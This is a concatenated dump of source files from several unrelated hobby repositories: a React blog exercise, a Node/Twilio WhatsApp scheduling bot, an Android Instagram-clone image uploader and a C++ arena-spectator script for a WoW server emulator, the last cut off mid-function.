<repo_name>racob/react-blog<file_sep>/src/NotFound.js import { Alert, Container } from "react-bootstrap"; import { useHistory } from 'react-router-dom'; const NotFound = () => { const navStack = useHistory(); const goBack = () => { navStack.push('/'); }; return ( <Container className='my-5'> <Alert variant='danger'> Sorry, the page you're looking for doesn't exist. <Alert.Link onClick={goBack}> Click here to go back to the homepage.</Alert.Link> </Alert> </Container> ); }; export default NotFound;<file_sep>/src/Create.js import { useState } from 'react'; import { useHistory } from 'react-router-dom'; import { Alert, Card, Container, Form, Button } from 'react-bootstrap'; const Create = () => { const [title, setTitle] = useState(''); const [body, setBody] = useState(''); const [author, setAuthor] = useState('Mario'); const [isPending, setIsPending] = useState(false); const [submitted, setSubmit] = useState(false); const navStack = useHistory(); const handleSubmit = (e) => { e.preventDefault(); console.log('handling submit'); setIsPending(true); const newBlog = {title, body, author}; fetch('http://localhost:8000/blogs', { method: 'POST', headers: {"Content-Type": "application/json"}, body: JSON.stringify(newBlog) }).then(() => { setSubmit(true); setTimeout(() => {navStack.push('/')}, 2000); }) }; return ( <Container className='my-3'> { submitted && <Alert variant='success' className='mt-5'>The new blog is successfuly posted! Returning to home page...</Alert> } <h1>Create a new blog</h1> <Card> <Card.Body> <Form onSubmit={!isPending ? handleSubmit : null}> <Form.Group> <Form.Label>New blog title</Form.Label> <Form.Control type="text" placeholder="Enter a new title for your blog..." value={title} onChange={(e) => setTitle(e.target.value)} disabled={isPending} required /> </Form.Group> <Form.Group> <Form.Label>Choose author</Form.Label> <Form.Control as="select" value={author} onChange={(e) => setAuthor(e.target.value)} required disabled={isPending} > <option>Mario</option> <option>Luigi</option> </Form.Control> </Form.Group> <Form.Group> <Form.Label>Blog body</Form.Label> <Form.Control as="textarea" rows={12} placeholder="Write your blog here..." value={body} onChange={(e) => setBody(e.target.value)} disabled={isPending} required /> </Form.Group> <Button variant="primary" type="submit" className='float-right' disabled={isPending} > {isPending ? 'Posting...' : 'Post blog'} </Button> </Form> </Card.Body> </Card> </Container> ); }; export default Create;<file_sep>/src/BlogDetails.js import { useState } from "react"; import { Container, Alert, Row, Col, Button, Modal} from "react-bootstrap"; import { useHistory, useParams } from "react-router-dom"; import useFetch from './useFetch'; const BlogDetails = () => { const [showModal, setShowModal] = useState(false); const [deleted, setDeleted] = useState(false); const { id } = useParams(); const { data: blog, isPending, error} = useFetch('http://localhost:8000/blogs/' + id); const navStack = useHistory(); const toggleModal = () => { setShowModal(!showModal); console.log(showModal); }; const deletePost = () => { fetch('http://localhost:8000/blogs/' + blog.id, { method: 'DELETE' }).then(() => { setDeleted(true); toggleModal(); setTimeout(() => { navStack.push('/'); },2000); }) }; return( <Container className='my-5'> { deleted && <Alert variant='success' className='mt-5'>The blog has been deleted successfuly!</Alert> } { error && <Alert variant='danger' className='mt-5'>{error}</Alert> } { isPending && <h3 className='text-muted' >Loading...</h3> } {blog && ( <Container> <Row> <Col> <h1>{blog.title}</h1> <h5 className="text-muted mb-4">Written by {blog.author}</h5> </Col> <Col> <Button className='float-right' variant='outline-danger' onClick={toggleModal} >Delete post</Button> </Col> </Row> <p>{blog.body}</p> </Container> )} <Modal show={showModal}> <Modal.Header> <Modal.Title>Delete post</Modal.Title> </Modal.Header> <Modal.Body> <p>Are you sure? The post cannot be recovered once it is deleted.</p> </Modal.Body> <Modal.Footer> <Button variant="warning" onClick={toggleModal}>Cancel</Button> <Button variant="outline-danger" onClick={deletePost}>Delete</Button> </Modal.Footer> </Modal> </Container> ); }; export default BlogDetails;<file_sep>/README.md # React-blog This is an exercise project to learn the basics of React. React-bootstrap is also used as CSS framework. ## Features - Display all blogs - Create a new blog - Delete a blog - Provides 404 error page ## Available Scripts In the project directory, you can run: ### `npm install` This is to install all the required dependencies for the project to run. ### `npm start` Runs the app in the development mode.\ Open [http://localhost:3000](http://localhost:3000) to view it in the browser. The page will reload if you make edits.\ You will also see any lint errors in the console. ### `npx json-server --watch data/db.json --port [PORT NUMBER]` Runs the JSON server as a REST API on a specific port number. <file_sep>/src/Header.js import Navbar from 'react-bootstrap/Navbar'; import Nav from 'react-bootstrap/Nav'; import { Link } from 'react-router-dom'; const Header = () => { return ( <Navbar bg="primary" variant="dark" expand="lg"> <Navbar.Brand href="/">The React Blog</Navbar.Brand> <Navbar.Toggle aria-controls="basic-navbar-nav" /> <Navbar.Collapse id="basic-navbar-nav"> <Nav className="ml-auto"> <Link className="nav-link" to="/">Home</Link> <Link className="nav-link" to="new_blog">New Blog</Link> </Nav> </Navbar.Collapse> </Navbar> ); }; export default Header;
3ca35e333a2fee326481d810eb55e0f749462670
[ "JavaScript", "Markdown" ]
5
JavaScript
racob/react-blog
f7dee86c620378e9bf9b3ea632cd192606e0cbb5
d11359bca293f566ebd4901d94119d766071b8d4
refs/heads/master
<file_sep>const dotenv = require('dotenv').config(); const ACC_SID = process.env.TWILIO_ACCOUNT_SID; const TOKEN = process.env.TWILIO_AUTH_TOKEN; const PORT = process.env.PORT; const TO_PHONE = process.env.TO_PHONE; const FROM_PHONE = process.env.FROM_PHONE; const DB_PWD = <PASSWORD>; const DB_USER = process.env.DB_USER; const DB_URL = process.env.DB_URL; module.exports = { ACC_SID, TOKEN, PORT, TO_PHONE, FROM_PHONE, DB_PWD, DB_USER, DB_URL }<file_sep>const twilio = require('twilio'); const config = require('../config'); const cliente = twilio(config.ACC_SID, config.TOKEN); const messagingResponse = twilio.twiml.MessagingResponse; module.exports = { async enviarMensagem(request, response, mensagem) { cliente.messages.create({ from: config.FROM_PHONE, to: config.TO_PHONE, body: mensagem || 'Olá! Deseja verificar disponibilidade em minha agenda?' }).then(console.log); }, async responderAposProvocacao(request, response) { const msgRecebida = request.body.Body; const msgResposta = new messagingResponse(); msgResposta.message(`Certo, você digitou '${msgRecebida}'. Aguarde enquanto acerto alguns detalhes ...`); response.send(msgResposta.toString()); } }<file_sep># AtendeAI > A simple Bot Service: _**Scheduling done autonomously**_. Bot application that performs scheduling activities with some of Twilio's APIs ## A que se propõe: Desenvolvido em resposta ao Desafio MEGAHACK proposto pela Shawee e Sebrae, esta aplicação tem por objetivos: - [ ] Integrar-se com a plataforma popular de mensagem _WhatsApp_; - [ ] Utilizar essa integração para responder a pedidos de agendamento; ## Status do MVP O projeto se baseia em APIs da ***Twilio*** que facilitam duas integrações: - Uso de mensageria atravéis do WhatsApp ([ref](https://www.twilio.com/whatsapp)); - Plataforma **Autopilot**, que usa inteligência artificial para construir e treinar os Bots ([ref](https://www.twilio.com/autopilot)). É possível integrar o Autopilot com chamadas a uma API externa, que então interage com banco de dados. Assim, neste repositório ficará a API REST desenvolvida em Node e aliada a um banco de dados MongoDB, cujas funções são: - [x] [Cadastro de um agendamento](https://github.com/thiagojacinto/atende-ai-bot-service/blob/10f0cc62beba0f17fabe8be378cf2921e4318ff8/src/Controllers/AgendaController.js#L10) a partir de um número de telefone; - [x] Exibir informações sobre um agendamento [[1]](https://github.com/thiagojacinto/atende-ai-bot-service/blob/10f0cc62beba0f17fabe8be378cf2921e4318ff8/src/Controllers/AgendaController.js#L5), [[2]](https://github.com/thiagojacinto/atende-ai-bot-service/blob/10f0cc62beba0f17fabe8be378cf2921e4318ff8/src/Controllers/AgendaController.js#L38) previamente cadastrado. - [x] Realizar a [confirmação ou desmarcação](https://github.com/thiagojacinto/atende-ai-bot-service/blob/10f0cc62beba0f17fabe8be378cf2921e4318ff8/src/Controllers/AgendaController.js#L59) do agendamento. ## Como usar A partir de configuração - do banco de dados MongoDB e da porta selecionada - realizada em um arquivo separado [`config.js`](https://github.com/thiagojacinto/atende-ai-bot-service/blob/master/src/config.js), é somente necessário usar o comando: ```javascript npm start ``` e então a API estará rodando localmente, cujo teste simples pode ser realizado digitando e esperando um status `200`: ```curl curl http://localhost:3000/v1/agendamentos ``` <file_sep>const mongoose = require("mongoose"); const AgendamentoSchema = new mongoose.Schema({ telefone: String, data: Date, observacoes: String, confirmacao: Boolean, maps: String, }, { timestamps: { createdAt: 'created_at', updatedAt: 'updated_at', } }); module.exports = mongoose.model("Agendamento", AgendamentoSchema); <file_sep>// const axios = require('axios'); const Agendamento = require("../Models/Agendamento"); module.exports = { async index(request, response) { const todosAgendamentos = await Agendamento.find(); return response.json(todosAgendamentos); }, async store(request, response) { const { telefone, observacoes, confirmacao, maps } = request.body; await Agendamento.findOne( { telefone: telefone }, async (err, duplicata) => { if (err) console.error(err); if (duplicata) { console.log(`Telefone ${telefone} já contem registro.`); return response.json({}); } let data = new Date(); let agend = await Agendamento.create({ telefone, data, observacoes, confirmacao, maps, }) .then(console.log("Agendamento realizado com sucesso.")) .catch(console.error); return response.json(agend); } ); }, async show(request, response) { const { telefone } = request.body; let result = await Agendamento.findOne({ telefone: telefone }) .then(response.status(200)) .catch(console.error); return response.json(result); }, async destroy(request, response) { const { telefone } = request.body; await Agendamento.findOneAndDelete( { telefone: telefone }, (err, removido) => { if (err) return response.status(500).send(err); return response.status(200).json(removido); } ); }, async toggleConfirmation(request, response) { const { telefone } = request.body; let agendamento = await Agendamento.findOne({ telefone: telefone }).catch( console.error ); // updating information: agendamento.confirmacao = !agendamento.confirmacao; agendamento.observacoes = agendamento.observacoes.concat( `, ${ agendamento.confirmacao ? "confirmado" : "desmarcado" } em ${new Date().toLocaleDateString("pt-BR")}` ); await agendamento .save() .then( response .status(200) .send( `Agendamento ${ agendamento.confirmacao ? "confirmado" : "desmarcado" }.` ) ) .catch(console.error); return response; }, }; <file_sep>const { Router } = require("express"); const config = require("./config"); const twilio = require("twilio"); const rotas = Router(); const ManualController = require("./Controllers/ManualController"); const AgendaController = require("./Controllers/AgendaController"); rotas.post("/v1/agendar", AgendaController.store); rotas.get("/v1/agendamentos", AgendaController.index); rotas.post("/v1/agendamento", AgendaController.show); rotas.delete("/v1/agendamento", AgendaController.destroy); rotas.post("/v1/confirmacao", AgendaController.toggleConfirmation); // Rotas manuais rotas.get("/alpha/saudar", ManualController.enviarMensagem); rotas.post("/alpha/resposta", ManualController.responderAposProvocacao); module.exports = rotas; <file_sep>const express = require('express'); const bodyParser = require('body-parser'); const mongoose = require('mongoose'); const { PORT, DB_URL } = require('./config'); const rotas = require('./rotas'); const app = express(); mongoose.connect(DB_URL, { useNewUrlParser: true, useUnifiedTopology: true, useFindAndModify: false }); app.use(bodyParser.json()); app.use(bodyParser.urlencoded({extended:false})); app.use(rotas); app.listen(PORT, () => console.log(`Applicacao rodando na porta: ${PORT}`));
291c907b3bd517b4919462d954299f0cb7f5816a
[ "JavaScript", "Markdown" ]
7
JavaScript
thiagojacinto/atende-ai-bot-service
0262b390d890820a35c38a457d9e24367b2f5994
908494223d9ba7354d47a5ae7801ccad1645748b
refs/heads/master
<file_sep>package com.example.rshum.instaclone.Profile; import android.content.Context; import android.content.Intent; import android.os.Bundle; import android.support.annotation.Nullable; import android.support.v7.app.AppCompatActivity; import android.support.v7.widget.Toolbar; import android.util.Log; import android.view.Menu; import android.view.MenuItem; import android.view.View; import android.widget.GridView; import android.widget.ImageView; import android.widget.ProgressBar; import com.example.rshum.instaclone.R; import com.example.rshum.instaclone.Utils.BottomNavigationViewHelper; import com.example.rshum.instaclone.Utils.GridImageAdapter; import com.example.rshum.instaclone.Utils.UniversalImageLoader; import com.ittianyu.bottomnavigationviewex.BottomNavigationViewEx; import java.util.ArrayList; /** * Created by rshum on 12/09/2017. */ public class ProfileActivity extends AppCompatActivity { private static final String TAG = "ProfileActivity"; private static final int ACTIVITY_NUM = 2; private static final int NUM_GRID_COLUMNS = 3; private Context mContext = ProfileActivity.this; private ProgressBar mProgressBar; private ImageView profilePhoto; @Override protected void onCreate(@Nullable Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_profile); Log.d(TAG , "onCreate: started."); setupBottomNavigationView(); setupToolBar(); setupActtivityWidgets(); setProfileImage(); tempGridSetup(); } private void tempGridSetup() { ArrayList<String> imgURLs = new ArrayList<>(); imgURLs.add("https://ih0.redbubble.net/image.73789920.5043/flat,800x800,075,t.u5.jpg"); imgURLs.add("https://res.cloudinary.com/teepublic/image/private/s--I_t454YZ--/t_Preview/b_rgb:0195c3,c_limit,f_jpg,h_630,q_90,w_630/v1498233447/production/designs/1689060_1.jpg"); imgURLs.add("http://img07.deviantart.net/6122/i/2014/051/5/c/meeseeks_by_michaelogicalm-d77a0fl.png"); imgURLs.add("https://cdn.shopify.com/s/files/1/1103/6548/products/meeseeks-calligram-03.jpg?v=1486079062"); imgURLs.add("https://res.cloudinary.com/teepublic/image/private/s--I_t454YZ--/t_Preview/b_rgb:0195c3,c_limit,f_jpg,h_630,q_90,w_630/v1498233447/production/designs/1689060_1.jpg"); imgURLs.add("http://img07.deviantart.net/6122/i/2014/051/5/c/meeseeks_by_michaelogicalm-d77a0fl.png"); imgURLs.add("https://cdn.shopify.com/s/files/1/1103/6548/products/meeseeks-calligram-03.jpg?v=1486079062"); imgURLs.add("https://res.cloudinary.com/teepublic/image/private/s--I_t454YZ--/t_Preview/b_rgb:0195c3,c_limit,f_jpg,h_630,q_90,w_630/v1498233447/production/designs/1689060_1.jpg"); imgURLs.add("http://img07.deviantart.net/6122/i/2014/051/5/c/meeseeks_by_michaelogicalm-d77a0fl.png"); imgURLs.add("https://cdn.shopify.com/s/files/1/1103/6548/products/meeseeks-calligram-03.jpg?v=1486079062"); imgURLs.add("https://cdn.shopify.com/s/files/1/1103/6548/products/meeseeks-calligram-03.jpg?v=1486079062"); setupImageGrid(imgURLs); } private void setupImageGrid(ArrayList<String> imgURLs){ GridView gridView = (GridView)findViewById(R.id.gridView); int gridWith = getResources().getDisplayMetrics().widthPixels; int imageWidtth = gridWith/NUM_GRID_COLUMNS; gridView.setColumnWidth(imageWidtth); GridImageAdapter adapter = new GridImageAdapter(mContext , R.layout.layout_grid_imageview , "" , imgURLs); gridView.setAdapter(adapter); } private void setProfileImage(){ Log.d(TAG, "setProfileImage: setting profile photo"); String imgULR = "http://www.mariodelafuente.org/putolinux/wp-content/uploads/2017/03/antivirus-para-android.png"; UniversalImageLoader.setImage(imgULR ,profilePhoto , mProgressBar , ""); } private void setupActtivityWidgets(){ mProgressBar = (ProgressBar)findViewById(R.id.profileProgressBar); mProgressBar.setVisibility(View.GONE); profilePhoto = (ImageView)findViewById(R.id.profile_photo); } private void setupToolBar() { Toolbar toolbar = (Toolbar)findViewById(R.id.profileToolBar); setSupportActionBar(toolbar); ImageView profileMenu = (ImageView)findViewById(R.id.profileMenu); profileMenu.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { Log.d(TAG, "onClick: navigating to account settings."); Intent intent = new Intent (mContext , AccountSettingsActivity.class); startActivity(intent); } }); } // We create this method so we can use it on other Activities private void setupBottomNavigationView(){ Log.d(TAG , "setupBottomNavigationView: setting up BottomNavigationView"); BottomNavigationViewEx bottomNavigationViewEx = (BottomNavigationViewEx) findViewById(R.id.bottomNavViewBar); BottomNavigationViewHelper.setupBottomNavigationView(bottomNavigationViewEx); BottomNavigationViewHelper.enableNavigation(mContext , bottomNavigationViewEx); Menu menu = bottomNavigationViewEx.getMenu(); MenuItem menuItem = menu.getItem(ACTIVITY_NUM); menuItem.setChecked(true); } } <file_sep>package com.example.rshum.instaclone.Utils; import java.util.jar.Manifest; /** * Created by rshum on 13/09/2017. */ public class Permissions { public static final String[] PERMISSIONS = { android.Manifest.permission.WRITE_EXTERNAL_STORAGE, android.Manifest.permission.READ_EXTERNAL_STORAGE, android.Manifest.permission.CAMERA }; public static final String[] CAMERA_PERMISSION = { android.Manifest.permission.CAMERA }; public static final String[] WRITE_STORAGE_PERMISSION = { android.Manifest.permission.WRITE_EXTERNAL_STORAGE }; public static final String[] READ_STORAGE_PERMISSION = { android.Manifest.permission.READ_EXTERNAL_STORAGE }; } <file_sep>package com.example.rshum.instaclone.Share; import android.content.Intent; import android.graphics.Bitmap; import android.graphics.BitmapFactory; import android.os.AsyncTask; import android.os.Bundle; import android.support.annotation.Nullable; import android.support.v4.app.Fragment; import android.util.Base64; import android.util.Log; import android.view.LayoutInflater; import android.view.View; import android.view.ViewGroup; import android.widget.AdapterView; import android.widget.ArrayAdapter; import android.widget.GridView; import android.widget.ImageView; import android.widget.ProgressBar; import android.widget.Spinner; import android.widget.TextView; import com.addicticks.net.httpsupload.HttpsFileUploader; import com.addicticks.net.httpsupload.HttpsFileUploaderConfig; import com.addicticks.net.httpsupload.HttpsFileUploaderResult; import com.addicticks.net.httpsupload.UploadItemFile; import com.example.rshum.instaclone.R; import com.example.rshum.instaclone.Utils.FilePaths; import com.example.rshum.instaclone.Utils.FileSearch; import com.example.rshum.instaclone.Utils.GridImageAdapter; import com.loopj.android.http.AsyncHttpClient; import com.loopj.android.http.AsyncHttpResponseHandler; import com.loopj.android.http.RequestHandle; import com.loopj.android.http.RequestParams; import com.nostra13.universalimageloader.core.ImageLoader; import com.nostra13.universalimageloader.core.assist.FailReason; import com.nostra13.universalimageloader.core.listener.ImageLoadingListener; import java.io.BufferedOutputStream; import java.io.BufferedReader; import java.io.ByteArrayOutputStream; import java.io.File; import java.io.FileOutputStream; import java.io.IOException; import java.io.InputStream; import java.io.InputStreamReader; import java.io.OutputStream; import java.net.HttpURLConnection; import java.net.MalformedURLException; import java.net.ProtocolException; import java.net.URL; import java.util.ArrayList; import java.util.Collections; import java.util.HashMap; import java.util.Map; import cz.msebera.android.httpclient.Header; /** * Created by rshum on 12/09/2017. */ public class GalleryFragment extends Fragment { private static final String TAG = "GalleryFragment"; //Constants private static final int NUM_GRID_COLUMNS = 3; //widgets private GridView gridView; private ImageView galleryImage; private ProgressBar mProgressBar; private Spinner directorySpinner; //vars private ArrayList<String> directories; private String mAppend = "file:/"; private String mSelectedImage; //Cliente de servidor private static AsyncHttpClient client = new AsyncHttpClient(); @Nullable @Override public View onCreateView(LayoutInflater inflater, @Nullable ViewGroup container, @Nullable Bundle savedInstanceState) { View view = inflater.inflate(R.layout.fragment_gallery, container , false); galleryImage = (ImageView)view.findViewById(R.id.galleryImageView); gridView = (GridView)view.findViewById(R.id.gridView); directorySpinner = (Spinner)view.findViewById(R.id.spinnerDirectory); mProgressBar = (ProgressBar)view.findViewById(R.id.progressBar); mProgressBar.setVisibility(View.GONE); directories = new ArrayList<>(); Log.d(TAG, "onCreateView: started"); ImageView shareClose = (ImageView)view.findViewById(R.id.ivCloseShare); shareClose.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { Log.d(TAG, "onClick: closing the gallery fragment"); getActivity().finish(); } }); //Aqui esta el textView que envía la imagen seleccionada a la siguiente Activity. TextView nextScreen = (TextView)view.findViewById(R.id.tvNext); nextScreen.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { Log.d(TAG, "onClick: navegando a la Share screen final."); Intent intent = new Intent(getActivity() , NextActivity.class); intent.putExtra(getString(R.string.selected_image), mSelectedImage); // --- POST --- String value = post(); String url = "http://192.168.1.61:50628/api/Img"; client.setConnectTimeout(40000); AsyncHttpResponseHandler responseHandler = new AsyncHttpResponseHandler() { @Override public void onSuccess(int statusCode, Header[] headers, byte[] responseBody) { System.out.println("El POST fue exitoso"); } @Override public void onFailure(int statusCode, Header[] headers, byte[] responseBody, Throwable error) { System.out.println("HUBO UN ERROR EN LA OPERACION"); } }; RequestParams params = new RequestParams(); params.put("StrImagen",value.toString()); client.addHeader("StrImagen","olasoyotro"); client.post(url , params , responseHandler); // --- o --- startActivity(intent); } }); init(); return view; } private void init(){ FilePaths filePaths = new FilePaths(); //check for other folder inside "/storage/emulated/0/pictures" if(FileSearch.getDirectoryPaths(filePaths.PICTURES) != null){ directories = FileSearch.getDirectoryPaths(filePaths.PICTURES); } directories.add(filePaths.CAMERA); directories.add(filePaths.ROOT_DIR); ArrayList<String> directoryNames = new ArrayList<>(); for (int i = 0; i < directories.size(); i++){ int index = directories.get(i).lastIndexOf("/"); String string = directories.get(i).substring(index); directoryNames.add(string); } ArrayAdapter<String> adapter = new ArrayAdapter<String>(getActivity(), android.R.layout.simple_spinner_item , directoryNames); adapter.setDropDownViewResource(android.R.layout.simple_spinner_dropdown_item); directorySpinner.setAdapter(adapter); directorySpinner.setOnItemSelectedListener(new AdapterView.OnItemSelectedListener() { @Override public void onItemSelected(AdapterView<?> parent, View view, int position, long id) { Log.d(TAG, "onItemSelected: selected: " + directories.get(position)); //set up our image grid for the directory choser setupGridView(directories.get(position)); } @Override public void onNothingSelected(AdapterView<?> parent) { } }); } private void setupGridView(String selectedDirectory){ Log.d(TAG, "setupGridView: directorio escogido: " + selectedDirectory); final ArrayList<String> imgULRs = FileSearch.getFilePaths(selectedDirectory); //set the grid column width int gridWidth = getResources().getDisplayMetrics().widthPixels; int imageWidth = gridWidth/NUM_GRID_COLUMNS; gridView.setColumnWidth(imageWidth); //use grid adapter to adapt images to gridView file:// GridImageAdapter adapter = new GridImageAdapter(getActivity(), R.layout.layout_grid_imageview , mAppend , imgULRs); gridView.setAdapter(adapter); //set the first image to be displayed when the activity fragment is inflated setImage(imgULRs.get(0) , galleryImage , mAppend); mSelectedImage = imgULRs.get(0); gridView.setOnItemClickListener(new AdapterView.OnItemClickListener() { @Override public void onItemClick(AdapterView<?> parent, View view, int position, long id) { Log.d(TAG, "onItemClick: selecciono una imagen: " + imgULRs.get(position)); setImage(imgULRs.get(position) , galleryImage , mAppend); mSelectedImage = imgULRs.get(position); } }); } private void setImage(String imgULR, ImageView image , String append){ Log.d(TAG, "setImage: seteando una imagen" + imgULR); ImageLoader imageLoader = ImageLoader.getInstance(); imageLoader.displayImage(append + imgULR, image, new ImageLoadingListener() { @Override public void onLoadingStarted(String imageUri, View view) { mProgressBar.setVisibility(View.VISIBLE); } @Override public void onLoadingFailed(String imageUri, View view, FailReason failReason) { mProgressBar.setVisibility(View.INVISIBLE); } @Override public void onLoadingComplete(String imageUri, View view, Bitmap loadedImage) { mProgressBar.setVisibility(View.INVISIBLE); } @Override public void onLoadingCancelled(String imageUri, View view) { mProgressBar.setVisibility(View.INVISIBLE); } }); } class HttpRequestTask extends AsyncTask<Void, Void, String> { @Override protected String doInBackground(Void... params) { String urlString = "http://192.168.1.61:50628/api/Img/0"; URL url = null; try { url = new URL(urlString); } catch (MalformedURLException e) { e.printStackTrace(); } HttpURLConnection con = null; try { con = (HttpURLConnection) url.openConnection(); } catch (IOException e) { e.printStackTrace(); } try { con.setRequestMethod("GET"); } catch (ProtocolException e) { e.printStackTrace(); } con.setRequestProperty("User-Agent", "Mozilla/5.0"); BufferedReader in = null; try { in = new BufferedReader( new InputStreamReader(con.getInputStream())); } catch (IOException e) { e.printStackTrace(); } String output; StringBuffer response = new StringBuffer(); try { while ((output = in.readLine()) != null) { response.append(output); } in.close(); //System.out.println(response.toString()); return response.toString(); } catch (IOException e) { e.printStackTrace(); } return response.toString(); } @Override protected void onPostExecute(String greeting) { if (greeting != null) Log.d(TAG , "Respuesta de HttpRequestTask: " + greeting); else Log.d(TAG , "el String es nulo"); //Aqui recibimos las imagenes } } //Codigo para POST public String bitmapTo64Base(Bitmap bitmap) { ByteArrayOutputStream baos = new ByteArrayOutputStream(); bitmap.compress(Bitmap.CompressFormat.PNG , 100 , baos); byte[] b = baos.toByteArray(); String encodeImage = Base64.encodeToString(b , Base64.DEFAULT); return encodeImage; } public String post() { galleryImage.buildDrawingCache(); Bitmap bitmap = galleryImage.getDrawingCache(); if (bitmap != null) { String base64DeImagen = bitmapTo64Base(bitmap); //System.out.println(base64DeImagen); Log.d(TAG , "Intentando pasar la imagen a base64: " + base64DeImagen.replaceAll("\\s+","")); return base64DeImagen; } else Log.d(TAG , "el bitmap es nulo"); return null; } }
7166ced0a88e9554b19c1561823c21340f82516d
[ "Java" ]
3
Java
ricardoSE11/DoppelgangerApp
30dcb43b6a053b1e540e124d81273419408f3681
2ec014dd76219ef477d628c08ceb4c7af39159ce
refs/heads/master
<file_sep>/** This plugin can be used for common player customizations */ #include "ScriptMgr.h" #include "Player.h" #include "Config.h" #include "Chat.h" #include "PrecompiledHeaders/ScriptPCH.h" #include "Chat.h" #include "ArenaTeamMgr.h" #include "BattlegroundMgr.h" #include "WorldSession.h" #include "Player.h" #include "Pet.h" #include "ArenaTeam.h" #include "ArenaSpectator.h" #include "Battleground.h" #include "BattlegroundMgr.h" #include "CreatureTextMgr.h" enum ClassTalents { SPELL_DK_BLOOD = 62905, // Not Dancing Rune Weapon (i used Improved Death Strike) SPELL_DK_FROST = 49143, // Not Howling Blash (i used Frost Strike) SPELL_DK_UNHOLY = 49206, SPELL_DRUID_BALANCE = 48505, SPELL_DRUID_FERAL_COMBAT = 50334, SPELL_DRUID_RESTORATION = 63410, // Not Wild Growth (i used Improved Barkskin) SPELL_HUNTER_BEAST_MASTERY = 53270, SPELL_HUNTER_MARKSMANSHIP = 53209, SPELL_HUNTER_SURVIVAL = 53301, SPELL_MAGE_ARCANE = 44425, SPELL_MAGE_FIRE = 31661, // Not Living Bomb (i used Dragon's Breath) SPELL_MAGE_FROST = 44572, SPELL_PALADIN_HOLY = 53563, SPELL_PALADIN_PROTECTION = 53595, SPELL_PALADIN_RETRIBUTION = 53385, SPELL_PRIEST_DISCIPLINE = 47540, SPELL_PRIEST_HOLY = 47788, SPELL_PRIEST_SHADOW = 47585, SPELL_ROGUE_ASSASSINATION = 1329, // Not Hunger For Blood (i used Mutilate) SPELL_ROGUE_COMBAT = 51690, SPELL_ROGUE_SUBTLETY = 51713, SPELL_SHAMAN_ELEMENTAL = 51490, SPELL_SHAMAN_ENHACEMENT = 30823, // Not Feral Spirit (i used Shamanistic Rage) SPELL_SHAMAN_RESTORATION = 974, // Not Riptide (i used Earth Shield) SPELL_WARLOCK_AFFLICTION = 48181, SPELL_WARLOCK_DEMONOLOGY = 59672, SPELL_WARLOCK_DESTRUCTION = 50796, SPELL_WARRIOR_ARMS = 46924, SPELL_WARRIOR_FURY = 23881, // Not Titan's Grip (i used Bloodthirst) SPELL_WARRIOR_PROTECTION = 46968, }; enum NpcSpectatorActions { // will be used for scrolling NPC_SPECTATOR_ACTION_MAIN_MENU = 1, NPC_SPECTATOR_ACTION_SPECIFIC = 10, NPC_SPECTATOR_ACTION_2V2_GAMES = 100, NPC_SPECTATOR_ACTION_3V3_GAMES = 300, NPC_SPECTATOR_ACTION_5V5_GAMES = 500, // NPC_SPECTATOR_ACTION_SELECTED_PLAYER + player.Guid() NPC_SPECTATOR_ACTION_SELECTED_PLAYER = 700 }; enum PlayerArenaSlots { SLOT_ARENA_2v2 = 0, SLOT_ARENA_3v3 = 1, SLOT_ARENA_5v5 = 2 }; const uint8 GAMES_ON_PAGE = 15; std::vector<Battleground*> ratedArenas; std::map<uint8, uint8> arenaTypeSlots = { { ARENA_TYPE_2v2, SLOT_ARENA_2v2 }, { ARENA_TYPE_3v3, SLOT_ARENA_3v3 }, { ARENA_TYPE_5v5, SLOT_ARENA_5v5 } }; void LoadAllArenas() { ratedArenas.clear(); for (uint8 i = 0; i <= MAX_BATTLEGROUND_TYPE_ID; ++i) { if (!sBattlegroundMgr->IsArenaType(BattlegroundTypeId(i))) continue; BattlegroundContainer arenas = sBattlegroundMgr->GetAllBattlegroundsWithTypeId(BattlegroundTypeId(i)); if (arenas.empty()) continue; for (BattlegroundContainer::const_iterator itr = arenas.begin(); itr != arenas.end(); ++itr) { Battleground* arena = itr->second; if (!arena->GetPlayersSize()) continue; if (!arena->isRated()) continue; ratedArenas.push_back(arena); } } if (ratedArenas.size() < 2) return; std::vector<Battleground*>::iterator itr = ratedArenas.begin(); int size = ratedArenas.size(); int count = 0; for (; itr != ratedArenas.end(); ++itr) { if (!(*itr)) { count++; continue; } // I have no idea if this event could ever happen, but if it did, it would most likely // cause crash if (count >= size) return; // Bubble sort, oh yeah, that's the stuff.. for (int i = count; i < size; i++) { if (Battleground* tmpBg = ratedArenas[i]) { Battleground* tmp = (*itr); (*itr) = ratedArenas[i]; ratedArenas[i] = tmp; } } count++; } return; } uint16 GetSpecificArenasCount(ArenaType type, uint16 count1) { if (ratedArenas.empty()) return 0; uint16 count[2] = { 0, 0 }; for (std::vector<Battleground*>::const_iterator citr = ratedArenas.begin(); citr != ratedArenas.end(); ++citr) { if (Battleground* arena = (*citr)) { if (arena->GetArenaType() == type) { if (arena->GetStatus() == STATUS_IN_PROGRESS) count[1]++; count[0]++; } } } count1 = count[1]; return count[0]; } class npc_arena_spectator : public CreatureScript { public: npc_arena_spectator() : CreatureScript("npc_arena_spectator") { } bool OnGossipHello(Player* player, Creature* creature) { LoadAllArenas(); uint32 arenasQueueTotal[3] = { 0, 0, 0 }; uint32 arenasQueuePlaying[3] = { 0, 0, 0 }; arenasQueueTotal[0] = GetSpecificArenasCount(ARENA_TYPE_2v2, arenasQueuePlaying[0]); arenasQueueTotal[1] = GetSpecificArenasCount(ARENA_TYPE_3v3, arenasQueuePlaying[1]); arenasQueueTotal[2] = GetSpecificArenasCount(ARENA_TYPE_5v5, arenasQueuePlaying[2]); std::stringstream Gossip2s; Gossip2s << "Arenas 2vs2 (Jugando: " << arenasQueueTotal[0] << ")"; std::stringstream Gossip3s; Gossip3s << "Arenas 3v3 (Jugando: " << arenasQueueTotal[1] << ")"; std::stringstream Gossip5s; Gossip5s << "Arenas 5vs5 (Jugando:" << arenasQueueTotal[2] << ")"; player->ADD_GOSSIP_ITEM(GOSSIP_ICON_CHAT, Gossip2s.str(), GOSSIP_SENDER_MAIN, NPC_SPECTATOR_ACTION_2V2_GAMES); player->ADD_GOSSIP_ITEM(GOSSIP_ICON_CHAT, Gossip3s.str(), GOSSIP_SENDER_MAIN, NPC_SPECTATOR_ACTION_3V3_GAMES); player->ADD_GOSSIP_ITEM(GOSSIP_ICON_CHAT, Gossip5s.str(), GOSSIP_SENDER_MAIN, 